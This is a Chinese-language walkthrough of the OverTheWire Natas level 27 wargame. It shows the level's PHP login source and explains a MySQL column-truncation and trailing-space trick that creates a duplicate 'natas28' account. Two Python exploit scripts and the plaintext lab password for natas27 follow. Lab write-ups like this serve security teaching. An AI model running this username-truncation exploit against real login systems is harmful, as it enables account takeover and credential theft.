我们打开关卡lv27,查看信息
发现是一个登陆框
尝试
好像是一个验证密码正不正确的登陆框
我们查看源码
<?php
// morla / 10111
// database gets cleared every 5 min
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
function checkCredentials($link,$usr,$pass){
$user=mysqli_real_escape_string($link, $usr);
$password=mysqli_real_escape_string($link, $pass);
$query = "SELECT username from users where username='$user' and password='$password' ";
$res = mysqli_query($link, $query);
if(mysqli_num_rows($res) > 0){
return True;
}
return False;
}
function validUser($link,$usr){
$user=mysqli_real_escape_string($link, $usr);
$query = "SELECT * from users where username='$user'";
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
return True;
}
}
return False;
}
function dumpData($link,$usr){
$user=mysqli_real_escape_string($link, trim($usr));
$query = "SELECT * from users where username='$user'";
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
while ($row = mysqli_fetch_assoc($res)) {
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}
function createUser($link, $usr, $pass){
if($usr != trim($usr)) {
echo "Go away hacker";
return False;
}
$user=mysqli_real_escape_string($link, substr($usr, 0, 64));
$password=mysqli_real_escape_string($link, substr($pass, 0, 64));
$query = "INSERT INTO users (username,password) values ('$user','$password')";
$res = mysqli_query($link, $query);
if(mysqli_affected_rows($link) > 0){
return True;
}
return False;
}
if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas27', '<censored>');
mysqli_select_db($link, 'natas27');
if(validUser($link,$_REQUEST["username"])) {
//user exists, check creds
if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
echo "Here is your data:<br>";
$data=dumpData($link,$_REQUEST["username"]);
print htmlentities($data);
}
else{
echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
}
}
else {
//user doesn't exist
if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
}
}
mysqli_close($link);
} else {
?>
参考大神思路
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas27", "pass": "<censored>" };</script></head>
<body>
<h1>natas27</h1>
<div id="content">
<?
// morla / 10111
// database gets cleared every 5 min
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL //这是重点,用户名和密码均不超过64个字节
);
*/
function checkCredentials($link,$usr,$pass){
//转义用户名和密码中的特殊字符,防止sql注入
$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);
$query = "SELECT username from users where username='$user' and password='$password' ";
$res = mysql_query($query, $link);
if(mysql_num_rows($res) > 0){ //若查询出来的数组大于0,则验证用户名/密码成功
return True;
}
return False;
}
function validUser($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
return True;
}
}
return False;
}
function dumpData($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) { //mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组。
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}
function createUser($link, $usr, $pass){
$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);
$query = "INSERT INTO users (username,password) values ('$user','$password')";
$res = mysql_query($query, $link);
if(mysql_affected_rows() > 0){ //mysqli_affected_rows() 函数返回前一次 MySQL 操作所影响的记录行数
return True;
}
return False;
}
//逻辑:查询username是否存在
if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas27', '<censored>');
mysql_select_db('natas27', $link); //mysql_select_db() 函数设置活动的 MySQL 数据库。
if(validUser($link,$_REQUEST["username"])) {
//user exists, check creds
if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>"; //htmlentities() 函数把字符转换为 HTML 实体。
echo "Here is your data:<br>";
$data=dumpData($link,$_REQUEST["username"]);
print htmlentities($data);
}
else{
echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
}
}
else {
//user doesn't exist
if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
}
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
natas28-sourcecode.html
这里还要参考两个mysql里面的知识点 :
一是字符串存储时若发生“溢出”,mysql会自动truncate到最大宽度;
二是空格在varchar里面会被自动删除。
所以,正确的插入为“natas28+超过64字节的连续空格+xxx”(注意,后面的xxx是必须的,因为在mysql中'natas28'='natas28+空格'),密码随意,可以为空。
比较username时mysql并不会对提交的username进行truncate,所以判断用户名不存在,开始新建用户名和密码。一旦开始存储,就会发生溢出/截取,导致出现两个username同为‘natas28’的行。接着返回登录界面,输入natas28+密码。找寻操作会返回刚刚插入的数组(>0),所以查询成功,回显用户名和密码,这时回显的就是第一个nata28那行,即我们要获得的flag。
连续输入两次natas27会得到密码
那么
我们连续输入natas28
明显,那个连续空格的漏洞已经修复,我们使用5分钟重置的方法进行
使用的python脚本如下
import requests
from requests.auth import HTTPBasicAuth
HOST = 'http://natas27.natas.labs.overthewire.org/'
auth = HTTPBasicAuth('natas27', 'PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3')
cookies = dict()
data = dict(username='natas28' + ' '*666 + 'Z', password='')
r = requests.post(HOST, cookies=cookies, auth=auth, data=data)
if 'Wrong password' not in r.content:
print (r.content)
data = dict(username='natas28', password='')
r = requests.post(HOST, cookies=cookies, auth=auth, data=data)
if 'Wrong password' not in r.content:
print (r.content)
等待结果
使用新的python脚本
import re
import requests
# the password for this challenge (natas27)
natas27_password = "PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3"
# the username we want to get the password for
username = "natas28"
# the base URL for the server
url = "http://natas27.natas.labs.overthewire.org"
# create a session object to persist cookies across requests
session = requests.Session()
session.auth = ("natas27", natas27_password)
# the crafted username which is exactly 65 characters long
crafted_username = username + " " * (64 - len(username)) + "x"
# make the initial request to create the user with the crafted username
response = session.post(
f"{url}/index.php",
data={"username": crafted_username, "password": ""},
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
# the crafted username is now a valid new user in the database
# login as that user to exploit the inconsistent handling in `dumpData` and get the password
crafted_username = username + " " * (64 - len(username))
response = session.post(
f"{url}/index.php",
data={"username": crafted_username, "password": ""},
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
# extract the password from the response using regex
password_regex = r"\[password\] (=>|=>) (?P<password>[a-zA-Z0-9]{32})"
password_match = re.search(password_regex, response.text)
password = password_match.group("password")
print(password)
vscode跑
结果
验证密码